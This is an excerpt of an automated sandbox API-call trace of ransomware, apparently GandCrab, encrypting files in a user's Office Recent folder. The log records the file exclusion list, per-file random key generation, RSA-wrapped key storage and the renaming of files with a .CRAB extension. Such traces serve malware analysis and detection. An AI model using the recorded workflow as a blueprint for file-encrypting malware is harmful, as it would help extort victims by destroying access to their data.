	[0111.955] CryptEncrypt (in: hKey=0xda79b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0111.955] GetLastError () returned 0x0
	[0111.955] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0111.955] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e6b0) returned 1
	[0111.956] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda77f0) returned 1
	[0111.956] CryptGetKeyParam (in: hKey=0xda77f0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0111.956] CryptEncrypt (in: hKey=0xda77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0111.956] GetLastError () returned 0x0
	[0111.956] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0111.956] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Documents.LNK.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\documents.lnk.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0111.957] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0111.957] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0111.958] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x3bf, lpOverlapped=0x0) returned 1
	[0111.980] VirtualAlloc (lpAddress=0x0, dwSize=0x3c0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0111.981] VirtualAlloc (lpAddress=0x0, dwSize=0x3c0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0111.981] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.981] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffc41, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.981] WriteFile (in: hFile=0x3f8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314a9bc*=0x3c0, lpOverlapped=0x0) returned 1
	[0111.981] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.982] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.985] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0111.985] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0111.986] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0111.986] CloseHandle (hObject=0x3f8) returned 1
	[0111.986] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.987] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.987] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.987] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.988] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.988] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.988] FindNextFileW (in: hFindFile=0xda78b0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0111.988] lstrcmpW (lpString1="Global.LNK", lpString2=".") returned 1
	[0111.988] lstrcmpW (lpString1="Global.LNK", lpString2="..") returned 1
	[0111.988] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Global.LNK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK"
	[0111.988] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0111.988] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned 72
	[0111.988] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned 72
	[0111.988] lstrlenW (lpString=".LNK") returned 4
	[0111.988] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.989] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".LNK ") returned 5
	[0111.989] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.989] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned 72
	[0111.989] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK") returned 72
	[0111.989] lstrcmpiW (lpString1="Global.LNK", lpString2="desktop.ini") returned 1
	[0111.989] lstrcmpiW (lpString1="Global.LNK", lpString2="autorun.inf") returned 1
	[0111.989] lstrcmpiW (lpString1="Global.LNK", lpString2="ntuser.dat") returned -1
	[0111.989] lstrcmpiW (lpString1="Global.LNK", lpString2="iconcache.db") returned -1
	[0111.989] lstrcmpiW (lpString1="Global.LNK", lpString2="bootsect.bak") returned 1
	[0111.989] lstrcmpiW (lpString1="Global.LNK", lpString2="boot.ini") returned 1
	[0111.989] lstrcmpiW (lpString1="Global.LNK", lpString2="ntuser.dat.log") returned -1
	[0111.989] lstrcmpiW (lpString1="Global.LNK", lpString2="thumbs.db") returned -1
	[0111.989] lstrcmpiW (lpString1="Global.LNK", lpString2="CRAB-DECRYPT.txt") returned 1
	[0111.989] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0111.990] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.CRAB") returned 77
	[0111.990] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\global.lnk")) returned 0x20
	[0111.990] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK", dwFileAttributes=0x20) returned 1
	[0111.991] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\global.lnk"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\global.lnk.crab")) returned 1
	[0111.992] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0111.992] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.CRAB"
	[0111.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.CRAB.CRAB"
	[0111.992] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0111.993] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.993] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.993] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.993] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0111.993] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0111.993] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.994] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0111.994] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0111.995] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0111.995] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0111.995] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0111.995] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0111.995] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0111.995] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0111.995] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0111.996] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0111.996] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7b70) returned 1
	[0111.997] CryptGetKeyParam (in: hKey=0xda7b70, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0111.997] CryptEncrypt (in: hKey=0xda7b70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0111.997] GetLastError () returned 0x0
	[0111.997] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0111.997] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e9e0) returned 1
	[0111.998] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7730) returned 1
	[0111.998] CryptGetKeyParam (in: hKey=0xda7730, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0111.998] CryptEncrypt (in: hKey=0xda7730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0111.998] GetLastError () returned 0x0
	[0111.998] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0111.998] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\global.lnk.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0111.999] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0111.999] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0111.999] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x5e0, lpOverlapped=0x0) returned 1
	[0112.025] VirtualAlloc (lpAddress=0x0, dwSize=0x5e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0112.026] VirtualAlloc (lpAddress=0x0, dwSize=0x5e0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0112.026] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.026] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffa20, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.026] WriteFile (in: hFile=0x3f8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x5e0, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314a9bc*=0x5e0, lpOverlapped=0x0) returned 1
	[0112.026] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.027] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.030] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.031] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0112.031] WriteFile (in: hFile=0x3f8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0112.031] CloseHandle (hObject=0x3f8) returned 1
	[0112.032] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.032] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.032] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.032] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.033] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.033] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.033] FindNextFileW (in: hFindFile=0xda78b0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0112.033] lstrcmpW (lpString1="index.dat", lpString2=".") returned 1
	[0112.033] lstrcmpW (lpString1="index.dat", lpString2="..") returned 1
	[0112.033] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="index.dat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat"
	[0112.033] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.033] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned 71
	[0112.034] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned 71
	[0112.034] lstrlenW (lpString=".dat") returned 4
	[0112.034] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.034] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".dat ") returned 5
	[0112.034] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.034] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned 71
	[0112.034] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned 71
	[0112.034] lstrcmpiW (lpString1="index.dat", lpString2="desktop.ini") returned 1
	[0112.034] lstrcmpiW (lpString1="index.dat", lpString2="autorun.inf") returned 1
	[0112.034] lstrcmpiW (lpString1="index.dat", lpString2="ntuser.dat") returned -1
	[0112.034] lstrcmpiW (lpString1="index.dat", lpString2="iconcache.db") returned 1
	[0112.034] lstrcmpiW (lpString1="index.dat", lpString2="bootsect.bak") returned 1
	[0112.034] lstrcmpiW (lpString1="index.dat", lpString2="boot.ini") returned 1
	[0112.034] lstrcmpiW (lpString1="index.dat", lpString2="ntuser.dat.log") returned -1
	[0112.034] lstrcmpiW (lpString1="index.dat", lpString2="thumbs.db") returned -1
	[0112.034] lstrcmpiW (lpString1="index.dat", lpString2="CRAB-DECRYPT.txt") returned 1
	[0112.034] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.034] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.CRAB") returned 76
	[0112.035] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\index.dat")) returned 0x2
	[0112.035] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat", dwFileAttributes=0x2) returned 1
	[0112.036] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\index.dat.crab")) returned 1
	[0112.036] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.036] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.CRAB"
	[0112.036] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.CRAB.CRAB"
	[0112.036] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e9e0) returned 1
	[0112.037] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.037] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.037] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.037] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0112.037] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0112.037] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.037] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e9e0) returned 1
	[0112.038] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.038] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.038] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.038] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0112.038] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0112.038] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.038] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0112.038] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0112.039] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0112.039] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7b30) returned 1
	[0112.039] CryptGetKeyParam (in: hKey=0xda7b30, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.039] CryptEncrypt (in: hKey=0xda7b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0112.039] GetLastError () returned 0x0
	[0112.040] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0112.040] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e9e0) returned 1
	[0112.040] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0xda7ab0) returned 1
	[0112.040] CryptGetKeyParam (in: hKey=0xda7ab0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0112.040] CryptEncrypt (in: hKey=0xda7ab0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0112.040] GetLastError () returned 0x0
	[0112.040] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0112.040] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\office\\recent\\index.dat.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0112.041] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0112.041] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0112.041] ReadFile (in: hFile=0x3f8, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314a9cc*=0x5f, lpOverlapped=0x0) returned 1
	[0112.054] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0112.054] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0112.055] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.055] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xffffffa1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.055] WriteFile (in: hFile=0x3f8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314a9bc*=0x60, lpOverlapped=0x0) returned 1
	[0112.055] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.055] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.059] WriteFile (in: hFile=0x3f8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
